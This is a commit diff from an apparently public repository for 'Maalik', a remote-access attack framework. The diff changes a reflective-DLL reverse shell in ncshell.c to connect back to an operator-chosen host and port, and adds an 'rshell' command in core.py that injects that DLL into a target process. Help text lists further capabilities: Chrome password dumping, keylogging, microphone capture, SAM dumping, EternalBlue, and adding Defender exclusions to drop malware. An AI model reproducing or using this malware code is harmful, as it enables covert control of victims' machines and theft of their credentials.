Skip to content
This repository was archived by the owner on Aug 11, 2022. It is now read-only.

Commit 02ee5f3

Browse files
author
quantumcore
committed
find bugsSgit add .
1 parent cbc7acf commit 02ee5f3

4 files changed

Lines changed: 61 additions & 18 deletions

File tree

payloads/makefile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ else
1919
DEL += rm
2020
endif
2121

22-
all: reflective_default ncshell elevate ChromeDump keylogger capturemic
22+
all: reflective_default ncshell runasadmin ChromeDump keylogger capturemic
2323

2424
reflective_default:
2525
$(COMPILER) ReflectiveDll.c ReflectiveLoader.c -c -m32

payloads/ncshell.c

Lines changed: 19 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
//===============================================================================================//
44

55
#include "ReflectiveLoader.h"
6+
#include "FileTunnel.h"
67
#include <stdio.h>
78
#include <string.h>
89
#include <winsock2.h>
@@ -11,6 +12,20 @@
1112
extern HINSTANCE hAppInstance;
1213
//===============================================================================================//
1314

15+
void split(char* src, char* dest[5], const char* delimeter) {
16+
// Only split if delimeter does exist in the source string
17+
if (strstr(src, delimeter) != NULL)
18+
{
19+
int i = 0;
20+
char* p = strtok(src, delimeter);
21+
while (p != NULL)
22+
{
23+
dest[i++] = p;
24+
p = strtok(NULL, delimeter);
25+
}
26+
}
27+
}
28+
1429
DWORD WINAPI shell()
1530
{
1631
do {
@@ -39,10 +54,12 @@ DWORD WINAPI shell()
3954
return 1;
4055
}
4156

57+
char* values[3];
58+
split(GetInputOutput(), values, ":");
4259
memset(&server, 0, sizeof(server));
4360
server.sin_family = AF_INET;
44-
server.sin_port = htons(4942);
45-
server.sin_addr.s_addr = inet_addr("192.168.0.105");
61+
server.sin_port = htons(atoi(values[1]));
62+
server.sin_addr.s_addr = inet_addr(values[0]);
4663

4764
res = WSAConnect(sock, (struct sockaddr*)&server, sizeof(server), NULL, NULL, NULL, NULL);
4865
if (res == SOCKET_ERROR)

pycore/core.py

Lines changed: 24 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -740,6 +740,15 @@ def GetPorts(target):
740740
print("-------------------------")
741741
print(Style.BRIGHT + Fore.LIGHTWHITE_EX + "[+] Saved in 'downloads/"+credfile+"'")
742742

743+
elif(main == "rshell"):
744+
host = prompt("[+] Reverse Host : ")
745+
port = prompt("[+] Reverse Port : ")
746+
if(len(host) > 0):
747+
if(len(port) > 0):
748+
SendPayloadCommand(host+":"+port)
749+
DLLTransfer("payloads/ncshell.dll", setting('inject_process'))
750+
self.WaitForReply()
751+
RemovePayloadCommand()
743752
elif(main == "keylog_start"):
744753
DLLTransfer("payloads/keylogger.dll", setting('inject_process'))
745754

@@ -1156,15 +1165,28 @@ def list_bots():
11561165
elif(x == "help"):
11571166
print(Style.BRIGHT + Fore.GREEN +
11581167
"""
1159-
Maalik
1168+
Maalik Framework
11601169
---------------
11611170
-> Commands :
11621171
-. help - Print this help message.
11631172
-. sessions - View online clients.
11641173
-. session - interact with a session.
1165-
-. build - Build FHDAWN.
1174+
-. build - Build Fhdawn.
11661175
-. kill - Kill session.
11671176
-. exit - Exit Maalik.
1177+
1178+
Use the help command inside a session to view Session specific help.
1179+
1180+
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=
1181+
Created by : QuantumCore (Fahad)
1182+
Website : https://quantumcored.com
1183+
Email : quantumcore@protonmail.com
1184+
Discord : https://discordapp.com/invite/8snh7nx
1185+
Github Repository : https://github.com/quantumcored/maalik
1186+
1187+
If you find any bugs, Please Report them here : https://github.com/quantumcored/maalik/issues
1188+
~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=~=
1189+
The Developer is not responsible for any misuse of Damage caused by the program. This is created only to innovate Network Security and YOU.
11681190
"""
11691191
+ Style.RESET_ALL)
11701192
elif(x == "build"):

pycore/other.py

Lines changed: 17 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -57,8 +57,10 @@
5757
5858
HELP
5959
----------------------------------
60+
6061
-> Session Core Commands :
6162
----------------------------------
63+
-. help - Print this help message.
6264
-. show options - View Maalik Attack Options.
6365
-. show targets - View Scanned Targets.
6466
-. set target < target > - Set a Target to Attack.*
@@ -69,34 +71,33 @@
6971
-. clear_ports - Clear all Ports.
7072
-. run - Start Pivoting Tunnel.
7173
-. run autoblue - Automatically runs Eternal Blue on the set Target.
74+
-. help - Print this help message.
75+
7276
73-
----------------------------------
7477
-> Session Commands :
7578
----------------------------------
76-
-. help - Print this help message.
7779
-. ls - List files in current directory.
7880
-. cd < dir > - Go in another directory.
79-
-. osinfo - systeminfo output.
8081
-. delete - delete file.
82+
-. download - Download file.
83+
-. upload - Upload file.
84+
-. osinfo - systeminfo output.
8185
-. shell - Reverse shell.
82-
-. clientinfo - View basic information of FHDAWN.
86+
-. clientinfo - View basic information of Fhdawn.
8387
-. port_scan - Scan for open ports on a Host.
88+
-. network_scan - Scan the network.
8489
-. tasklist - View Running Processes.
8590
-. taskkill - Kill Running Process.
8691
-. host_sweep - Get all hostnames of scanned targets or specific IP (use -h to specify ip).
87-
-. upload - Upload file.
88-
-. download - Download file.
89-
-. dllinject - Reflective DLL Injection. Load your own DLL.
90-
-. network_scan - Scan the network.
91-
-. (UAC)* windefender_exclude - Add Windows Defender Exclusions.
92-
- To Upload Malware, add Exclusion and upload malware to that directory.
92+
-. dllinject - Reflective DLL Injection. Load your own Reflective DLL.
93+
-. windefender_exclude - Add Windows Defender Exclusions.
94+
- To Upload Malware, add Exclusion and upload malware to that directory, Not recommended uploading to disk. Load Reflective Dll instead.
9395
-. screenshot - Take Screenshot.
9496
-. psinfo - Get process information.
9597
-. isadmin - Check if FHDAWN has administrator rights.
9698
-. geolocate - Get Geolocation.
9799
98-
----------------------------------
99-
POST Exploitation
100+
CMD POST Exploitation Commands :
100101
----------------------------------
101102
-. {cmd} netuser - List users.
102103
-. {cmd} systeminfo - View full System Information.
@@ -113,14 +114,17 @@
113114
-. {cmd} portfwd - Forward a PORT on the Remote PC.
114115
-. {cmd} portfwd_reset - Reset all forwarded Ports.
115116
-. {cmd} samdump - Dump SAM database.
117+
118+
DPS :
119+
----------------------------------
116120
-. {dps} rshell - Netcat Reverse Shell.
117-
-. {dps} bshell - (UAC)* Netcat Bind Shell.
118121
-. {dps} dropmsf - In Memory Meterpreter.
119122
-. {dps} runasadmin - Run an application as Administrator.
120123
-. {dps} chromedump - Dump Google Chrome Passwords.
121124
-. {dps} keylog_start - Start Capturing keystrokes.
122125
-. {dps} keylog_stop - Stop Capturing keystrokes, And dump keylogs.
123126
-. {dps} capturemic - Record microphone.
127+
124128
""".format(dps = Style.BRIGHT + Fore.GREEN+ "(DPS)" + Style.RESET_ALL , cmd = Style.BRIGHT + Fore.BLUE +"(CMD)" + Style.RESET_ALL)
125129

126130
def clear_screen():

0 commit comments

Comments
 (0)